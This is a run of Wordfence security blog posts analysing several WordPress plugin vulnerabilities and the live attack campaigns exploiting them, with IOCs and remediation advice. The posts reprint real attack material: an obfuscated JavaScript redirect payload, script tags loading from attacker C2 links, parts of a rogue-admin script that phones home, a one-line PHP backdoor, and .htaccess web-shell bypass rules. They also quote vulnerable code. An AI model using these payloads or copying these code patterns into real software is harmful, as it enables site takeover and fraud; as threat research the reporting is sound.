It’s understandable that Pipdig may not want to draw attention to these issues, but disclosing the existence of a security release is ethically important.

Final Thoughts

Pipdig Power Pack, a plugin used by all of Pipdig’s commercial WordPress themes, included a number of questionable features for an indeterminate amount of time until yesterday’s release of version 4.8.0. Prior to this, Pipdig maintained the ability to gain administrative access to (or entirely break) any WordPress site with the plugin active. Even on updated versions,  content rewriting and plugin deactivations can take place without user knowledge.

Much of the code in question was deliberately misleading or obfuscated, such as the use of a function named p3_check_social_links() to change a user’s password or splitting the string 'Blog'.'erize' to conceal attempts to market Pipdig’s services.

Pipdig’s claims that all of this behavior had honest intent is not surprising. Ultimately the impact of these development decisions depends on their users’ trust in them as a company–after all, it’s up to Pipdig’s word that these backdoors were never actually utilized. While we don’t have evidence to the contrary, Pipdig’s deliberate use of misleading code still raises concerns. At best, it puts new Pipdig customers in an uncomfortable position: they were unaware of any of this before purchase, and Pipdig does not offer refunds on any of their products in the event that it’s deemed unacceptable.

Once again, we strongly urge Pipdig users to update P3 to version 4.8.0 immediately. Afterwards, consider keeping an eye on future updates to Pipdig’s plugins and themes to ensure newly added code meets your site’s security standards. Wordfence users with P3 active will soon receive notifications on their WordPress dashboard notifying them of this story.

What are your thoughts? Was Pipdig in the clear to add these features to their plugin? Is the type of code obfuscation they’ve used acceptable? Is their removal of the most concerning code a satisfactory response? Let us know in the comments below, or @Wordfence on Twitter.

The post Peculiar PHP Present In Popular Pipdig Power Pack (P3) Plugin appeared first on Wordfence.

Read More

Recent Social Warfare Vulnerability Allowed Remote Code Execution

In posts last week, we detailed a vulnerability in the Social Warfare plugin, and discussed the attack campaigns against it. These issues were reported widely as Cross Site Scripting (XSS) flaws, due to an unexpected disclosure and proof of concept released by an unnamed researcher. Our Threat Intelligence team quickly released a firewall rule to mitigate impact for our customers, and the plugin’s author issued a patch shortly thereafter. Attackers have issued persistent exploit attempts against this flaw, which are primarily connected to injected JavaScript redirect activity.

However, the patched vulnerability was not limited to XSS behavior. During the triage process, our team identified additional exploitable behavior in Social Warfare’s database migration code. This allowed remote code execution (RCE) on the vulnerable version, 3.5.2, in addition to the reported XSS capability.

Because the WordPress community had already been made aware of the critical 3.5.3 patch to the plugin, and because we had not identified any threat actors making use of this capability in the wild, we withheld this element from publication temporarily. We reached out to the WordPress.org plugin team to make sure they were aware of the issue, and have continued to monitor attack data to confirm no malicious RCE attempts have been caught.

Earlier today, this additional capability was reported by another security research team. Because this will more than likely prompt a new wave of exploit attempts, we feel it’s important to inform our users of the scope of these issues, and how we protect them.

Before we discuss the scary parts, some good news. The RCE vulnerability was removed in the same patch as the XSS flaw, 3.5.3. If you’ve updated Social Warfare, you are not vulnerable to this additional flaw. Additionally, the firewall rule we released last week for the XSS issue blocks the RCE as well, so Wordfence Premium customers are still secure if they haven’t managed to update yet. As usual, firewall or otherwise, it’s important that you update to 3.5.3 of Social Warfare immediately.

Remote Code Execution (RCE) Vulnerability In Detail

In last week’s post detailing the XSS vector, we shared a snippet of the plugin’s code that was responsible for the initial injectable input. The plugin is provided a remote URL, ostensibly containing an exported set of Social Warfare configuration options, and fetches the contents to begin the migration process.

 * Migrates options from $_GET['swp_url'] to the current site.
 * @since 3.4.2
if ( true == SWP_Utility::debug('load_options') ) {
	if (!is_admin()) {
		wp_die('You do not have authorization to view this page.');

	$options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');

However, this snippet cut short of the RCE flaw just a few lines below:

$options = str_replace('<pre>', '', $options);
$cutoff = strpos($options, '</pre>');
$options = substr($options, 0, $cutoff);

$array = 'return ' . $options . ';';

try {
	$fetched_options = eval( $array );

The intent of this code was to parse a remote text document into a key->value array of options for the plugin to use. However, instead of using a typical data storage format like a serialized string or (preferably) JSON, the plugin generated options as an actual block of PHP code, which is crunched by eval() into an array.

Configuration document generated by Social Warfare to be migrated into a new site.

When a malicious injection matches the format used by the plugin normally, as in the attack campaigns running currently, an XSS payload can be injected into one or more of those settings. However, the contents of <pre> tags in the remote file are arbitrarily passed to eval(), meaning the code within is executed directly as PHP.

A basic example of a remote payload demonstrating PHP execution.

As in the example above, if the contents of the remote address passed via swp_url contain a simple phpinfo(); call between <pre> tags, the site will return a rendered phpinfo page.

With the ability to execute arbitrary PHP, attackers effectively have control of vulnerable sites. First, backdoors can be deployed, rogue WordPress administrators can be created, and system commands can be run, among other footholds. From there, attackers can leverage the controlled site however they choose, whether for spam, phishing, or other monetization methods.


To reiterate, this is not a new vulnerability. This is the same flaw that was patched in Social Warfare 3.5.3, and that the Premium version of the Wordfence firewall has protected against since last week. If you believe anyone in your network uses the Social Warfare plugin and still has not updated, please make sure they’re aware of this issue. We are still tracking the threat actors targeting this vulnerability, and will report on noteworthy findings as they present themselves.

The post Recent Social Warfare Vulnerability Allowed Remote Code Execution appeared first on Wordfence.

Read More

Social Warfare Plugin Zero-Day: Details and Attack Data

In our earlier post, we issued a warning to users of the Social Warfare plugin regarding a zero-day vulnerability affecting their sites. At this time, the plugin’s developers have issued a patch for the flaw. All users are urged to update to version 3.5.3 immediately.

Vulnerability Details

The plugin features functionality that allows users to clone its settings from another site. However, this functionality was not restricted to administrators or even logged-in users. An attacker is able to input a URL pointing to a crafted configuration document, which overwrites the plugin’s settings on the victim’s site.

 * Migrates options from $_GET['swp_url'] to the current site.
 * @since 3.4.2
if ( true == SWP_Utility::debug('load_options') ) {
	if (!is_admin()) {
		wp_die('You do not have authorization to view this page.');

	$options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');
if (update_option( 'social_warfare_settings', $new_options )) {
	wp_die('Social Warfare settings updated to match ' . $_GET['swp_url']);

With the ability to modify the social media plugin’s settings, an attacker can pivot and perform more malicious activity. In all cases we’ve tracked so far, attackers modify the twitter_id value, as it most directly leads to a front-facing XSS injection point.

Active Exploit Campaign

Threat actors exploiting this flaw host their payloads as Pastebin raw files, as the URLs are anonymous and don’t point directly to the attacker’s infrastructure. At this time, we’ve identified three main Pastebin addresses:

  • https://pastebin.com/raw/0yJzqbYf
  • https://pastebin.com/raw/PcfntxEs
  • https://pastebin.com/raw/cYEtKpad
    • This document was taken down by Pastebin at the time of this writing.

The two Pastebin URLs that were still live were nearly identical. Both contained the same type of injection, at the same injection point, with the same obfuscation method, and both performed redirects in the same manner. The only difference is the redirect target.

eval(String.fromCharCode(118, 97, 114, 32, 108, 108, 116, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 101, 116, 102, 111, 114, 99, 111, 110, 102, 105, 103, 112, 108, 101, 97, 115, 101, 46, 99, 111, 109, 47, 119, 101, 110, 98, 51, 52, 104, 103, 113, 102, 99, 97, 53, 54, 55, 53, 54, 56, 57, 53, 55, 57, 46, 112, 104, 112, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 114, 101, 112, 108, 97, 99, 101, 40, 108, 108, 116, 32, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 108, 108, 116, 32, 59, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 108, 108, 116, 59));

Deobfuscating the above script results in the following JavaScript payload:

var llt = "hXXps://setforconfigplease[.]com/wenb34hgqfca5675689579.php";
document.location.replace(llt );
document.location.href=llt ;

Between the two payloads, the following URLs were present:

  • hXXps://setforconfigplease[.]com/wenb34hgqfca5675689579.php
  • hXXps://strangefullthiggngs[.]com/sdjgjkhjk9.php

One domain, setforconfigplease[.]com, has been on our radar for a while now, most recently in our recent research into attacks against Easy WP SMTP. The other, strangefullthiggngs[.]com, is a newcomer. In fact, it was registered today.

WHOIS data for strangefullthiggngs[.]com showing it was created today, March 21.

These domains are part of a larger redirect campaign, and are both hosted on the same IP address, Visitors who are redirected to these addresses are subsequently redirected to a series of malicious sites, and their individual activity is tracked via cookies. Reports have indicated a variety of eventual redirect targets, from pornography to tech support scams.

Patch Released

As mentioned, the plugin’s vendor issued a patch for this vulnerability within hours of becoming aware of it.

Screenshot of the diffset between the vulnerable and patched versions of the plugin.

As shown in the diff above, all of the existing settings import code was gutted from the plugin and replaced. Additionally, new code was added which attempts to directly reverse the XSS injections that had been distributed.

private function correct_invalid_values() {
	$defaults = $this->registered_options['defaults'];
	$values   = $this->registered_options['values'];

	foreach( $this->user_options as $key => $value ) {

		// For the Zero Day bug catch
		if ( 'twitter_id' == $key ) {
			if ( strpos( $value, '<' ) || strlen( $value ) > 15 ) {
				$this->user_options['twitter_id'] = '';
				SWP_Utility::update_option( 'twitter_id' , '' );

		if ( is_string( $value ) && strpos( $value, 'fromCharCode') > -1 ) {
			$this->user_options[$key] = '';
			SWP_Utility::update_option( $key , '' );

In code added to the function correct_invalid_values(), the plugin now makes efforts to remove injected content from its options values. First, if a < symbol is present in the twitter_id field, or the length of the value is greater than 15 bytes, the setting is set to a blank string. Next, if the string fromCharCode is present in any value, that value is similarly set to an empty string. This is in response to the obfuscation method shown earlier in this post and used by the threat actors behind this campaign.

The behavior of including patch code to directly address the aftermath of successful exploits is uncommon, but not unprecedented. We’ve seen similar efforts as recently as the WooCommerce Abandoned Cart vulnerability we detailed earlier this month.


The Wordfence WAF was quickly updated in response to these threats and our Premium users are protected. As always, we recommend updating your site’s plugins regularly. Unfortunately in this case, the exploit was in the hands of the bad folks before the good ones had a chance to do anything about it. Cases like this illustrate why a layered security posture is so important, and why it’s important to remain constantly in the loop with security news that may affect your site.

The post Social Warfare Plugin Zero-Day: Details and Attack Data appeared first on Wordfence.

Read More

Unpatched Zero-Day Vulnerability in Social Warfare Plugin Exploited In The Wild

Earlier today, an unnamed security researcher published a full disclosure of a stored Cross-Site Scripting (XSS) vulnerability present in the most recent version of popular WordPress plugin Social Warfare. The plugin, which was subsequently removed from the WordPress.org plugin repository, has an active install base of over 70,000 sites. The flaw allows attackers to inject malicious JavaScript code into the social share links present on a site’s posts.

The Defiant Threat Intelligence team has already identified attacks against this vulnerability, and has deployed a firewall rule to prevent its exploitation. Premium users gain immediate access to the new rule, and after a thirty-day delay it will be available to Free users. Because this vulnerability has yet to be patched, it is recommended that site administrators deactivate the plugin until a patch is released.

At this time, we are refraining from publicizing details of the flaw and the attacks against it. At such time that the vendor makes a patch available, we will produce a follow-up post with further information.

What Should I Do?

If your site is protected by Wordfence Premium, your firewall will have a new rule designed to prevent these attacks. If not, you can gain access to the rule by upgrading to Premium now. Short of that, deactivating the Social Warfare plugin until a patch is available will prevent these attacks, though at the loss of the plugin’s functionality.

Our team is actively tracking attacks against this flaw, and will produce more details as soon as we feel is responsible. In the meantime, please consider sharing this public service announcement to other WordPress users who may not know of these new risk factors.

The post Unpatched Zero-Day Vulnerability in Social Warfare Plugin Exploited In The Wild appeared first on Wordfence.

Read More

Hackers Abusing Recently Patched Vulnerability In Easy WP SMTP Plugin

Over the weekend, a vulnerability was disclosed and patched in the popular WordPress plugin Easy WP SMTP. The plugin allows users to configure SMTP connections for outgoing email, and has a userbase of over 300,000 active installs. The vulnerability is only present in version 1.3.9 of the plugin, and all of the plugin’s users should update to as quickly as possible to address the flaw.

This vulnerability is under active attack, being used by malicious actors to establish administrative control of affected sites en masse. We have released a firewall rule which prevents exploitation of the flaw, protecting Wordfence Premium sites which haven’t yet updated the affected plugin. Our free users will gain access to the new rule in thirty days, but they can protect themselves in the meantime by updating their plugins.

In today’s post, we’ll look at the vulnerability, how attackers are abusing it, and what users should do if they believe they’ve been put at risk.

Insufficient Access Controls In Import/Export Feature

The root of the vulnerability is in the Import/Export functionality which was added to Easy WP SMTP in version 1.3.9. The new code resides in the plugin’s admin_init hook, which executes in wp-admin/ scripts like admin-ajax.php and admin-post.php.

$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
if ( $is_import_settings ) {
  $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
  if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
      echo $err_msg;
  $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
  try {
      $in = unserialize( $in_raw );
      if ( empty( $in[ 'data' ] ) ) {
          echo $err_msg;
      if ( empty( $in[ 'checksum' ] ) ) {
          echo $err_msg;
      if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
          echo $err_msg;
      $data = unserialize( $in[ 'data' ] );
      foreach ( $data as $key => $value ) {
          update_option( $key, $value );
      set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
      $url = admin_url() . 'options-general.php?page=swpsmtp_settings';
      wp_safe_redirect( $url );

When this hook fires, the plugin checks for the existence of the POST parameter swpsmtp_import_settings. If this parameter is set to 1, it assumes that an import is taking place and checks for a file upload as swpsmtp_import_settings_file. The contents of the uploaded file are unserialized, and update_option is run on each given key/value pair.

A number of issues present themselves in this process.

First, and most importantly, no capabilities checks are performed during this process so an attacker does not need any special permissions to exploit this flaw.

Next, instead of running on a dedicated AJAX action, REST endpoint, or dashboard page, the importer looks for an import with every admin_init call. This means the code will run for unauthenticated users, as this call is made even for logged-out sessions. Without this element, an attacker would at least need subscriber-level access to a victim’s site.

Then, unsanitized user input is passed to unserialize(), which inherently creates an object injection vulnerability.

Lastly, any user-provided options are updated, rather than a set of plugin-specific options. This allows an attacker to alter any values in a site’s wp_options table, which is the activity taking place against vulnerable sites at this time.

Exploit Campaigns Taking Over Vulnerable Sites

The Defiant Threat Intelligence team is actively tracking activity from two distinct threat actors associated with this vulnerability.

Both of the campaigns launch their initial attacks identically, by using the proof of concept (PoC) exploit detailed in NinTechNet’s original disclosure of the vulnerability. These attacks match the PoC exactly, down to the checksum, and enable users to register administrator accounts by changing default_role to “administrator”, and enabling users_can_register. Then, the attacker uses these new settings to register an administrator user for themselves.

From here, the campaigns diverge. The first threat actor’s activity stops after this point, suggesting that this stage was the only automated step of their process and they’re just assembling a number of rogue admin accounts for later use.

The other campaign continues by altering the victim site’s siteurl and home options to trigger malicious redirects when the site is visited, then injecting malicious <script> tags into all PHP files on the affected site with the string “index” present in their name. This obviously affects files named index.php, but also happens to impact files like class-link-reindex-post-service.php, present in Yoast’s SEO plugin.

In these cases, we’ve identified two domains used in the options values and script injections: setforconfigplease[.]com, and getmyfreetraffic[.]com. These domains are followed by an alphanumeric path string, presumably used similar to affiliate tracking codes to identify the source of the newly created traffic. When encountered by a user, the redirecting sites check for and assign cookies to track these users and determine where to redirect them. The most common redirects seen from these sources are tech support scams warning that users’ computers may be affected by the Zeus virus, among others.

Notably, both of these domains resolve to the same host IP address, which also hosts the malicious domains somelandingpage[.]com and setforspecialdomain[.]com, both of which have been seen in similar attack campaigns.

Next Steps

The attacks against this vulnerability are widespread, and successful exploits can grant full control of vulnerable sites to the attackers. As always, it’s important for users to regularly update their plugins in order to apply the security patches for vulnerabilities like these. Easy WP SMTP version prevents unauthenticated access to the import script, as well as restricting affected options to only include expected values.

For typical WordPress users, if you believe your site may have been compromised as a result of this or any other vulnerability, consider reaching out to our team for a site cleaning. Otherwise, be on the lookout for the following indicators of compromise (IOCs):

  • Logged traffic from the following IPs:
  • Database siteurl and home values not matching their intended values, especially including the following domains:
    • setforconfigplease[.]com
    • getmyfreetraffic[.]com
  • Administrator accounts present for unknown users. For example:
    • devidpentesting99
    • larryking99
  • Malicious <script> tags injected into the first line of index.php files. For example:
    • <script type='text/javascript' async src='hXXps://setforspecialdomain[.]com/in2herg42t2?type=in2&frm=scr&'></script>

As this situation shows, the time between the publication of vulnerability details and the first round of attacks can be incredibly short. Even the most fastidious site owners can be caught unaware and left open to attack. A firewall backed by a team focused 100% on WordPress security is must-have insurance for these situations. If your site matters to you, consider upgrading to Wordfence Premium to guard against future vulnerabilities of this nature.

The post Hackers Abusing Recently Patched Vulnerability In Easy WP SMTP Plugin appeared first on Wordfence.

Read More

XSS Vulnerability in Abandoned Cart Plugin Leads To WordPress Site Takeovers

Last month, a stored cross-site scripting (XSS) flaw was patched in version 5.2.0 of the popular WordPress plugin Abandoned Cart Lite For WooCommerce. The plugin, which we’ll be referring to by its slug woocommerce-abandoned-cart, allows the owners of WooCommerce sites to track abandoned shopping carts in order to recover those sales. A lack of sanitation on both input and output allows attackers to inject malicious JavaScript payloads into various data fields, which will execute when a logged-in user with administrator privileges views the list of abandoned carts from their WordPress dashboard.

At this time, any WordPress sites making use of woocommerce-abandoned-cart, or its premium version, woocommerce-abandoned-cart-pro, are advised to update to the latest available version as soon as possible. Sites making use of the Wordfence WAF, both free and premium, are protected from the attacks detailed in this post due to the firewall’s built-in XSS protection. Affected users without Wordfence installed should consider a Site Security Audit to confirm the integrity of their WordPress sites.

In today’s post, we’ll take a look at the details of this vulnerability, how attackers are exploiting it in the wild to take over sites, and what site owners should do if they believe they’ve been attacked.

XSS Vulnerability In Detail

The guest-input side of woocommerce-abandoned-cart begins when an unauthenticated user builds a shopping cart and begins the checkout process.

An example of the Billing Details page on a basic WooCommerce site. This data is stored by woocommerce-abandoned-cart in case checkout isn’t completed.

With the plugin active, all of the data input by the guest is sent back to the plugin using the save_data AJAX action. The intent is if the checkout process is not completed, whether the page was navigated away from, or the browser closed, or the shopper just got distracted, the plugin can inform the shop’s owners within their dashboard.

function save_data() {
      if ( ! is_user_logged_in() ) {
          global $wpdb, $woocommerce;    
          if ( isset($_POST['billing_first_name']) && $_POST['billing_first_name'] != '' ){
              wcal_common::wcal_set_cart_session( 'billing_first_name', $_POST['billing_first_name'] );
          if ( isset($_POST['billing_last_name']) && $_POST['billing_last_name'] != '' ) {
              wcal_common::wcal_set_cart_session( 'billing_last_name', $_POST['billing_last_name'] );
          if ( isset($_POST['billing_company']) && $_POST['billing_company'] != '' ) {
              wcal_common::wcal_set_cart_session( 'billing_company', $_POST['billing_company'] );

However, the function used to handle these AJAX requests fails to perform any input sanitization on the various $_POST fields it receives. As shown in the above snippet, shopper data fields like billing_first_namebilling_last_name, and billing_company are stored directly as they were received. The data pulled from this request is stored in the WordPress database, and can be accessed by an administrator from their dashboard. There, they can view the individual carts, their customer information, and order totals.

An abandoned cart, patiently waiting to be recovered.

When this data is rendered in the administrator’s browser, no output sanitization takes place either. Particularly, billing_first_name and billing_last_name are concatenated into a single “Customer” field in the output table. This field is what hackers are targeting in active campaigns against this flaw.

Malicious JavaScript Hijacking Admin Sessions

The attacks on this vulnerability have been consistent in their execution. The attacker builds a cart, supplies bogus contact information, and abandons the cart. The names and emails are random, but the requests follow the same pattern: the generated first and last name are supplied together as billing_first_name, but the billing_last_name field contains the injected payload <script src=hXXps://bit[.]ly/2SzpVBY></script>.

Malware campaigns making use of URL shortening services like bit.ly are common. In addition to providing a basic layer of abstraction between the malicious request and the actual URL of the script, the shorter addresses make it easier to beat string length restrictions (especially when bypass techniques are employed, which isn’t the case in this scenario). Not only that, but if the domain at the other end of the URL shortener is taken down, the attacker can just point the bit.ly address at a new domain and keep all of their previous injections alive.

In this case, the bit.ly address resolves to hXXps://cdn-bigcommerce[.]com/visionstat.js. The domain, which attempts to look innocuous by impersonating the legitimate cdn.bigcommerce.com, points to the command and control (C2) server behind the infection. The target script, visionstat.js, is a malicious JavaScript payload which uses the victim’s own browser session to deploy backdoors on their site. Two backdoors are deployed: a rogue administrator account is created, and a deactivated plugin is infected with a code execution script. Both actions are executed by creating a hidden iframe in the admin’s existing browser window, then simulating the process of filling out and submitting the necessary forms within it.

function processNewUser(adminhref){
	var username = 'woouser';
	var email = 'woouser401a@mailinator.com';
	var password = 'K1YPRka7b0av1B';

In the first backdoor, a hidden iframe is created which opens the new user creation form. This form is filled out with the information from the first few lines of the function seen above, with a username of “woouser” and an email address at Mailinator, a popular disposable inbox provider. The user is given the Administrator role, and the account is created.

When this new user is created, the attacker is notified in two ways. First, the visionstat.js payload makes an AJAX call to hXXps://cdn-bigcommerce[.]com/counterstat.php to phone home to its C2 with the URL of the compromised site. Second, the WordPress application running on the site will generate a new user notification email, which is sent to the Mailinator inbox associated with the rogue administrator account.

for (var at = 0; at < fl.length; at++) {
			funcURL = fl[at].href.match(/action=activate&plugin=([^&]+)/)[1];

if (funcURL == '')
	maindata.details = "Error: No disabled plugins!";
	maindata.details = "Found disabled plugin (" + funcURL + ")";
	processPluginEdit(adminhref, pfr1, funcURL);

For the second backdoor, visionstat.js opens another hidden iframe, this time to the site’s Plugins menu. There, it scans the list of installed plugins for an “Activate” link, which signifies an inactive plugin is present. Then, new content is injected into the inactive plugin, containing a simple PHP backdoor script.

<?php @extract($_REQUEST);@die($cdate($adate));

By sending a POST request to this script containing a PHP function as the cdate parameter, and an argument for that function as adate, they are able to perform a variety of actions, from executing arbitrary PHP code to running system commands on the compromised server. As with the creation of a rogue administrator, visionstat.js also phones home to the C2 server to inform the attacker that this backdoor was successfully deployed.

Plugin Vendor Deploys Unique Patch

Tyche Softwares, the plugin’s vendor, was made aware of the vulnerability via user reports on the WordPress.org forums. A patch was quickly released, and a security notice was posted in the plugin’s changelog. The patched version of the plugin applies WordPress’s built-in sanitize_text_field function to prevent the injection of new scripts.

            if ( 'yes' !== get_option( 'ac_lite_user_cleanup' ) ) {
                $query_cleanup = "UPDATE `".$wpdb->prefix."ac_guest_abandoned_cart_history_lite` SET 
                    billing_first_name = IF (billing_first_name LIKE '%<%', '', billing_first_name),
                    billing_last_name = IF (billing_last_name LIKE '%<%', '', billing_last_name),
                    billing_company_name = IF (billing_company_name LIKE '%<%', '', billing_company_name),
                    billing_address_1 = IF (billing_address_1 LIKE '%<%', '', billing_address_1),
                    billing_address_2 = IF (billing_address_2 LIKE '%<%', '', billing_address_2),
                    billing_city = IF (billing_city LIKE '%<%', '', billing_city),
                    billing_county = IF (billing_county LIKE '%<%', '', billing_county),
                    billing_zipcode = IF (billing_zipcode LIKE '%<%', '', billing_zipcode),
                    email_id = IF (email_id LIKE '%<%', '', email_id),
                    phone = IF (phone LIKE '%<%', '', phone),
                    ship_to_billing = IF (ship_to_billing LIKE '%<%', '', ship_to_billing),
                    order_notes = IF (order_notes LIKE '%<%', '', order_notes),
                    shipping_first_name = IF (shipping_first_name LIKE '%<%', '', shipping_first_name),
                    shipping_last_name = IF (shipping_last_name LIKE '%<%', '', shipping_last_name),
                    shipping_company_name = IF (shipping_company_name LIKE '%<%', '', shipping_company_name),
                    shipping_address_1 = IF (shipping_address_1 LIKE '%<%', '', shipping_address_1),
                    shipping_address_2 = IF (shipping_address_2 LIKE '%<%', '', shipping_address_2),
                    shipping_city = IF (shipping_city LIKE '%<%', '', shipping_city),
                    shipping_county = IF (shipping_county LIKE '%<%', '', shipping_county)";

                $wpdb->query( $query_cleanup );

                $email = 'woouser401a@mailinator.com';
                $exists = email_exists( $email );
                if ( $exists ) {
                    wp_delete_user( esc_html( $exists ) );

                update_option( 'ac_lite_user_cleanup', 'yes' );

In a rather direct attempt to address the active exploitation of this vulnerability, the developers also implemented a cleanup function in the patched version of their plugin. This function first performs a scan of the existing abandoned cart data, and removes any entries where a < symbol is encountered, which prevents subsequent execution of the malicious <script src=hXXps://bit[.]ly/2SzpVBY></script> payloads that may be present.

The next block of code is the interesting one, though. Because the plugin’s developers were made aware of this flaw due to reports of these same exploits, they include a check for the existence of the email address registered with the malicious “woouser” account. If a user with this email is identified, the plugin deletes that user.

Next Steps

While these are clever steps in addressing current incarnations of this campaign, it’s important that site owners don’t rely on these measures alone. This patch does not detect or remove the secondary backdoors injected into inactive plugins, and the nature of the initial XSS payload allows the email address of newly created rogue admins to be changed with very little effort by modifying the visionstat.js script hosted on the C2 site, or by changing the target of the bit.ly shortlink. The patch also leaves output sanitization untouched, meaning preexisting injected scripts can still execute in the dashboard if the cleanup function fails to remove them for any reason.

Our recommendation for site owners using either woocommerce-abandoned-cart or woocommerce-abandoned-cart-pro is to review their database contents for possible script injections. The exact name of the table to check will vary depending on your database prefix and the Lite/Pro status of your installed plugin, but guest shopper data can be found in the table with ac_guest_abandoned_cart_history in its name. After this check has been completed, review the user accounts present on your site. If any unauthorized administrator accounts are present, delete them immediately and begin your incident response process.

The good news for current Wordfence users is that these attacks are blocked by the XSS protection present in both the free and premium versions of our firewall. If you used one of these abandoned cart plugins and were not a Wordfence user prior to this patch, installing Wordfence and running a scan will tell you whether you have been hacked. Also consider reaching out to our team for a Site Security Audit, which includes a free year of Wordfence Premium in addition to the peace of mind provided by the audit itself.

Despite the release of a patch, these attacks are still ongoing and our investigation reveals new sites compromised daily. Please consider sharing this post as a public service announcement, to improve community awareness of these attacks and prompt updates for those who need them. As always, thank you for reading.

The post XSS Vulnerability in Abandoned Cart Plugin Leads To WordPress Site Takeovers appeared first on Wordfence.

Read More

Vulnerabilities Patched in WP Cost Estimation Plugin

At the end of January, Wordfence security analysts identified attackers exploiting vulnerabilities in outdated versions of the commercial plugin WP Cost Estimation & Payment Forms Builder, or WP Cost Estimation for short. These flaws were found and patched by the developer a few months ago, but no official public disclosure was made at the time. Following this discovery, our threat intelligence team reviewed updated versions of the plugin for additional security issues. We reported an unpatched directory traversal vulnerability to the developer, Loopus Plugins, who has since released an update addressing the issue. This flaw is present in plugin versions before 9.660.

Any sites using the plugin should update it to the latest available version. Wordfence WAF users, both free and paid, are already protected from each of these vulnerabilities thanks to broad rules built into the firewall. It is still recommended that Wordfence users perform these updates to ensure their sites are as secure as possible.

In today’s post, we’ll look at the original activity that drew our analysts’ attention to the plugin, then discuss the issues our team identified and disclosed to the developer.

File Upload and Delete Vulnerabilities Exploited In The Wild (Versions < 9.644)

During a forensic review of a compromised site, a Wordfence security analyst identified logs indicating the exploit used to take over the site:

POST /wp-admin/admin-ajax.php?action=lfb_upload_form
POST /wp-admin/admin-ajax.php?action=lfb_upload_form
POST /wp-content/uploads/CostEstimationPayment/_/ngfndfgsdcas.tss

The action lfb_upload_form was traced to the installed WP Cost Estimation plugin, which allowed us to piece together what had taken place. The installed version of the plugin was outdated, and the AJAX action allowing file uploads through form submissions was exploitable.

if (strlen($value["name"]) > 4 &&
$value['size'] < 10485760 &&
strpos(strtolower($value["name"]), '.php') === false &&
strpos(strtolower($value["name"]), '.js') === false &&
strpos(strtolower($value["name"]), '.html') === false &&
strpos(strtolower($value["name"]), '.phtml') === false &&
strpos(strtolower($value["name"]), '.pl') === false &&
strpos(strtolower($value["name"]), '.py') === false &&
strpos(strtolower($value["name"]), '.jsp') === false &&
strpos(strtolower($value["name"]), '.asp') === false &&
strpos(strtolower($value["name"]), '.htm') === false &&
strpos(strtolower($value["name"]), '.shtml') === false &&
strpos(strtolower($value["name"]), '.sh') === false &&
strpos(strtolower($value["name"]), '.cgi') === false
) {

The if statement above served as the only security check on uploaded files in older versions (9.526 in this case), performing some basic filename checks in an attempt to prevent files with executable extensions from being uploaded. Generally speaking, blacklisting uploads based on their filename is not an effective means of implementing upload security, as there tend to be techniques to bypass such methods. One such bypass was used here.

In the log entries above, you may have noticed the lfb_upload_form action being fired twice. This attack involved first uploading a web shell script with a meaningless extension, “ngfndfgsdcas.tss”. While the script was a malicious PHP file, the filename did not contain the string “.php”, and bypassed the blacklist. Then, to allow the uploaded file to execute as a PHP script, the following .htaccess file was uploaded:

AddHandler application/x-httpd-php .tss
AddType application/x-httpd-php .tss

These .htaccess rules associated the “.tss” extension with the PHP handler, allowing the shell to run as a PHP script. As of version 9.644 of WP Cost Estimation, released in October 2018, it is no longer possible to upload a valid .htaccess file to perform this bypass.

Interestingly, despite the attackers’ successful uploads, they quickly followed up with a different exploit against the same plugin. It’s unknown why this second exploit was performed, though it’s our assumption that either the uploaded shell or .htaccess file failed to behave as intended, leaving the attackers to go to Plan B.

In this second attack we see a new AJAX action from WP Cost Estimation, followed by a familiar attack pattern:

POST /wp-admin/admin-ajax.php?action=lfb_removeFile
POST /wp-admin/setup-config.php?step=2
POST /wp-admin/install.php?step=2
GET /wp-login.php
POST /wp-login.php
GET /wp-admin/
GET /wp-admin/theme-install.php?upload
POST /wp-admin/update.php?action=upload-theme
GET /wp-content/themes/AdvanceImage5/config.php

The exploited AJAX action, lfb_removeFile, can be used to delete arbitrary files on a vulnerable site:

public function removeFile(){
$formSession = sanitize_text_field($_POST['formSession']);
$file = sanitize_text_field($_POST['file']);
$fileName = $formSession . '_' . $file;
if(file_exists($this->uploads_dir .$fileName)){
unlink($this->uploads_dir .$fileName);

The workflow for exploiting an arbitrary file delete flaw is usually the same: Delete the vulnerable site’s wp-config.php file. With no database configuration, WordPress assumes a fresh install is taking place. The attacker is then free to connect the site to their own remote database, log in as an administrator, and upload backdoors through the dashboard.

The lfb_removeFile AJAX action (as well as the associated internal removeFile function shown above) were both removed when the developer became aware of exploits and released version 9.644.

New Vulnerability – Upload Directory Traversal

Following the discovery of the earlier patched vulnerabilities, we spent some time reviewing the patches themselves to ensure they were sufficient. In the version we tested, the uploader had been improved in a few ways:

  • The blacklist of disallowed strings in filenames was expanded to block .htaccess uploads.
  • An admin-controlled whitelist of allowed filetypes was added, by default only allowing PNG, JPG, GIF, RAR, and ZIP files.
  • Forms could now have an internal randomSeed value, a short alphanumeric string appended to the user-input upload path in order to prevent existing directories from being accessed.

However, our investigation revealed a bypass case, allowing attackers to overwrite any file with a whitelisted type on an affected site.

 $ext = $this->get_extension($value["name"]);
$allowedFiles = explode(",", $item->allowedFiles);
if (in_array('.' . strtolower($ext), $allowedFiles)) {
if (!is_dir($this->uploads_dir . $formSession . $form->randomSeed)) {
mkdir($this->uploads_dir . $formSession . $form->randomSeed);
chmod($this->uploads_dir . $formSession . $form->randomSeed, $this->chmodWrite);
move_uploaded_file($value["tmp_name"], $this->uploads_dir . $formSession . $form->randomSeed . '/' . $fileName);
chmod($this->uploads_dir . $formSession . $form->randomSeed . '/' . $fileName, 0644);

